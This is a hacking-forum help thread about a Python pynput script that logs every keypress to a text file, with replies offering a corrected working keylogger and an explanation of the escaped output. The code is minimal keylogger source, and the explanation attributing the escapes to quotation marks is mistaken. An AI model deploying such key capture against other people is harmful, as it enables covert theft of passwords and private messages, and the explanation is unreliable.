Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

need help with pynput code

my code saving all the logs as hexacode : -
Quote: '\x13''\x13'Key.space'\x13''\x01''\x12''\x12''\x05'Key.enterKey.enterKey.enter'\x0b''\t''\x0c''\x0c''\x05''\x12''\r''\x01''\x03''\x08''\t''\x0e''\x05''\x14''\t''\r''\x05'Key.space'\x01''\x03''\x08''\t''\x0e''\x05'Key.space'\r''\x01''\x03''\x08''\t''\x0e''\x05'Key.enterKey.enterKey.enter'\x13''\x04''\x01''\x13''\x13''\x01''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01'

PHP Code

<?php 
from pynput
.keyboard import Listener

def writetofile
(key):
    
keydata = str(key)
    
with open("log.txt" , 'a') as f:
        
f.write(keydata)


with Listener(on_press=writetofile) as l:
    
l.join()

print() 
you didnt say what is your problem i guess you need to convert the key to string before you save it
[Image: bitcoin.png] Be Nice For Once 15hVUVz7xA4kazHdk2BuErENGCskVwjYXP
Code
from pynput.keyboard import Listener

def writetofile(key):
    try:
        keydata = key.char
    except AttributeError:
        keydata = str(key)
    with open("log.txt" , 'a') as f:
        f.write(keydata)


with Listener(on_press=writetofile) as l:
    l.join()

Not entirely sure what your issue is, this seems to work fine for me however, and gets rid of all the quotation marks.
(Jan 5, 2019 05:20 PM)Ghxst Wrote:  
Code
from pynput.keyboard import Listener

def writetofile(key):
try:
keydata = key.char
except AttributeError:
keydata = str(key)
with open("log.txt" , 'a') as f:
f.write(keydata)


with Listener(on_press=writetofile) as l:
l.join()

Not entirely sure what your issue is, this seems to work fine for me however, and gets rid of all the quotation marks.


I Mean by log.txt file isnt logging in right format ,its saving on hexacode , instead of strings
(Jan 5, 2019 10:50 PM)CyberError Wrote:  I Mean by log.txt file isnt logging in right format ,its saving on hexacode , instead of strings

Have you tried my snippet?
'Hexacode' isn't a thing, hex representation is. The reason for this most likely is that you are logging multiple quotation marks and it tries to make sense out of which are considered the opening and closing marks of a string and which are simply included in that string.

For example, 4 quotation marks will indicate 2 strings in python, not 1 string containing 2 quotation marks.
So python logs the 2 contained quotation marks as hex, to indicate they are part of the string, and not meant to create a second one.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by TheWarOwlJul 31, 2017 01:38 PM 2 513 Jul 31, 2017 01:38 PM
Last Post: TheWarOwl
[Python] by zikkioxanMar 10, 2017 09:09 PM 2 214 Mar 10, 2017 09:09 PM
Last Post: zikkioxan